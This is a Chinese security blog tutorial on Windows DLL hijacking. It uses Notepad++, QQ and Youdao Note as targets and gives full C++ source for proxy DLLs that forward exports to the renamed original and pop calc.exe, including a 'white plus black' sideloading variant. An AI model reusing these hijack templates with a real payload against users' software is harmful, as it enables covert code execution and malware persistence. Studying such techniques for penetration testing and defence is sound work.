freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

dll 劫持
2022-03-12 22:19:01
所属地 四川省

基础知识

DLL (Dynamic Link Library) 文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件。

在 windows 平台下,很多应用程序的很多功能是相似的,抛去 ui 等等来说,大致的功能都差不多,比如都得调用窗口,都得调用内存管理的模块来分配内存,都得调用 io 模块去进行文件操作,读写文件等等,这些模块的具体表现就是 DLL 文件。

Windows 操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

DLL路径搜索目录顺序

1.程序所在目录

2.程序加载目录(SetCurrentDirectory)

3.系统目录即 SYSTEM32 目录

4.16位系统目录即 SYSTEM 目录

5.Windows目录

6.PATH环境变量中列出的目录

Know DLLs注册表项

Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。

Know DLLs注册表项的路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

手动劫持

劫持应用中没有的dll

这里dll劫持的选用的是notepad++,注意版本问题,我第一次进行dll劫持的时候使用的是最新版本,导致我鼓捣半天都没能正确执行,搞得我一脸懵逼,百度之后才发现notepad后面的版本修复了漏洞,所以这里选的是6.6.6的版本。

image-20211002164117391.png

使用到Procmon.exe程序。

image-20211002164253393.png

这里打开过后设置几个过滤条件,分别是进程名、路径以及结果。image-20211002164529087.png

然后这里找一个需要用到loadlibrary这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 LoadLibrary(Ex),说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。

image-20211002164621431.png

LoadLibraryLoadLibraryEx一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx进行远程加载,语法如下:

LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

LoadLibraryEx的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH即可让系统dll搜索顺序从我们设置的目录开始。

image-20211002165004352.png

这里使用vs2019编译一个dll。

image-20211002165327811.png

这里使用到<stdlib.h>库调用system()生成弹出一个计算器即可。

image-20211002165427446.png

编译并复制到Notepad++的根目录下。

image-20211002165559106.png

image-20211002165647237.png

运行即可弹出计算器。

image-20211002165754717.png

劫持应用中存在的dll

这里改个条件,改为SUCCESS。

image-20211002191805537.png

双击SciLexer.dll 然后看下stack,可以发现同样存在loadlibrary。那就说明这个dll是动态加载的,并且不需要什么导出函数就可以成功被加载。并且是在程序在运行过程中完成的。

image-20211002191903464.png

这时候我们就需要找这个dll的导出函数,导出函数是可以被外部访问的。导出表包含 DLL 导出到其他可执行文件的每个函数的名称,这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。

在动态调用的时候,一般代码通过loadlibrary去加载dll 并作为参数传到到导出函数,这里看一下导入表,发现他这里有一个导出函数。

image-20211002192257020.png

编写dll时,有个重要的问题需要解决,那就是函数重命名——Name-Mangling。C++的编译器通常会对函数名和变量名进行改编,这在链接的时候会出现一个严重的问题,假如dll是C++写的,可执行文件是C写的。在构建dll的时候,编译器会对函数名进行改编,但是在构建可执行文件的时候,编译器不会对函数名进行改。这个时候当链接器试图链接可执行文件的时候,会发现可执行文件引用了一个不存在的符号并报错,这里我就直接定义extern "C"来告诉编译器不对变量名和函数名进行改编即可。

代码如下,我们的目的就是让程序本身去LoadLibrary去加载dll:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>

extern "C" __declspec(dllexport) void Scintilla_DirectFunction();

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void Scintilla_DirectFunction()
{
    system("calc.exe");
}

生成dll并改名为SciLexer.dll,把原来的dll先放到桌面保存。

image-20211002193027544.png

然后运行一下发现报错了。

image-20211002193229727.png

这里也没有弹出计算器,这里就卡了很久,然后发现这里还可以用一种dll转发的方式。

dll转发顾名思义,就是要保留原来的dll,再生成一个恶意的dll执行代码,代码如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>

extern "C" __declspec(dllexport) void Scintilla_DirectFunction();

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void Scintilla_DirectFunction()
{
    HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
    if (hDll)

    {
        //typedef 是定义了一个新的类型
        //DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD
        //定义了类型EXPFUNC,并且返回类型是DWORD的函数的指针
        typedef DWORD(WINAPI* EXPFUNC)();
        EXPFUNC expFunc = NULL;
        expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
        if (expFunc)
        {
            expFunc();
        }

    }
    return;
}

然后把原dll改名为``SciLexer_re.dll,并将生成的恶意dll改名为SciLexer.dll`。

image-20211002193654929.png

运行notepad++即可。

image-20211002195127259.png

转发对主程序的依赖非常的高,报错是CreateWindowsEx()返回值为空报错,当使用转发,让程序先走恶意的dll(SciLexer.dll),再走正常的dll的时候(SciLexer_re.dll),我们不清楚主程序的需求是什么可能是一个返回值,也可能参数不正确,这个时候都会导致主程序运行出错。

使用工具劫持

直接转发

这里还是使用导入表进行劫持,首先用cff(下载地址:https://ntcore.com/files/CFF_Explorer.zip)打开QQ.exe的导入表,找一个不在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径里面的dll进行劫持,因为在这个路径里面的dll是优先加载的,加载之后已经进入内核空间,想要劫持难度很大。这里我选择的是libuv.dll进行劫持。

image-20211002223720457.png

找到路径下的libuv.dll

image-20211002223811673.png

然后使用到aheadlib这个工具,输入dll就填QQ.exe路径下的libuv.dll,输出CPP会自动生成,原始DLL的名称要记住,等下会替换。

image-20211002224010402.png

点击生成就会在目录下生成一个.cpp文件。

image-20211002224056530.png

打开看一下有一个入口函数。

image-20211002224113213.png

新建一个vs dll项目,然后将.cpp的代码复制进去,并加上<windows.h><stdlib.h>头文件。

image-20211002224416837.png

然后在入口函数的地方填上一个弹出计算器的语句。

image-20211002225237769.png

将原dll文件改名为之前在软件里面复制的名字libuvOrg.dll,并把我们生成的dll文件复制进去。

image-20211002224614729.png

点击QQ.exe即可弹出calc.exe。

image-20211002224703600.png

这里分析一下导出函数的代码,随便选一行。

image-20211002225530113.png

当程序想要调用程序中的uv_udp_open函数的时候,需要先LoadLibrary,即通过libuvOrg.uv_udp_open,@195去加载原始dll,那么libuvOrg.dll其实已经被转发。

#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")

即时调用

还是劫持之前的dll:libuv.dll,这里还是先输入DLL,然后转发的地方改为即时调用。

image-20211002225932932.png

生成一个vs dll项目,把生成的libuv.cpp代码copy到项目里面,然后加上#include "pch.h"#include <stdlib.h>

image-20211002230205529.png

在入口函数的地方添加上我们的恶意代码。

image-20211002230216710.png

然后把原dll改名为libuvOrg.dll,再把我们编译生成的dll粘贴进去。

image-20211002230318118.png

点击QQ.exe即可完成劫持。

image-20211002230341279.png

这里继续看看代码,调用导出函数之前先执行入口函数,函数执行完成过后return到Load函数,这里跟过去看看。

image-20211002230640279.png

Load函数首先把libuvOrg.dll即原来的dll文件写入缓冲区,使用LoadLibrary展开后通过wsprintf与原dll进行判断,如果LoadLibrary成功则继续调用InitializeAddresses()函数,继续跟过去看看。

image-20211002230749517.png

这里可以发现InitializeAddresses这个函数的作用都是调用GetAddress去Load函数的地址。

image-20211002230936488.png

image-20211002231043601.png

再看看导出函数。

image-20211002231122423.png

程序要调用uv_async_init这个函数,就可以直接获取原始dll中uv_async_init函数的地址。

#pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2")

直接用__asm jmp到原始dll的导出函数地址去完成功能即可。

image-20211002231313375.png

对比之前用直接转发出来的cpp,对比之前用直接转发出来的cpp,直接转发对主程序来说,其实就是调用了原来dll的某个函数。

但是即时调用实际上是调用了劫持dll的某个函数,只不过那个函数会jmp到原本的dll中的相应函数的地址。达到的效果相同,但是实现的原理不同。

白加黑

白加黑,就是一个白exe,加上一个黑代码,这里的黑可以是shellcode,也可以是dll。这里主要是尝试一下之前判断的工具的流程,使用导出函数

这里找一个不在Know DLLs里面的dll,而且这个dll必须要用LoadLibrary进行加载,这里我找的是CrashRpt.dll,可以看到有4个导出函数

image-20211003105128024.png

那么这里用vs新建一个dll,把这4个导出函数由我们自己来写,这里尝试不转发即时调用,如果不成功在尝试转发。

image-20211003105143383.png

完整代码如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <stdlib.h>

extern "C" __declspec(dllexport) void RptCleanup();
extern "C" __declspec(dllexport) void RptSetAdditionalInfo();
extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent();
extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion();

void RptCleanup()
{
    system("calc");
}

void RptSetAdditionalInfo()
{

}

void RptNcThreadListAddCurrent()
{

}

void RptInitializeWithDefaultSettingsWithVersion()
{

}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

然后生成dll把原来的CrashRpt替换掉。

image-20211003105154159.png

启动有道云即可成功弹出计算器。

image-20211003105232401.png

# 渗透测试 # 系统安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录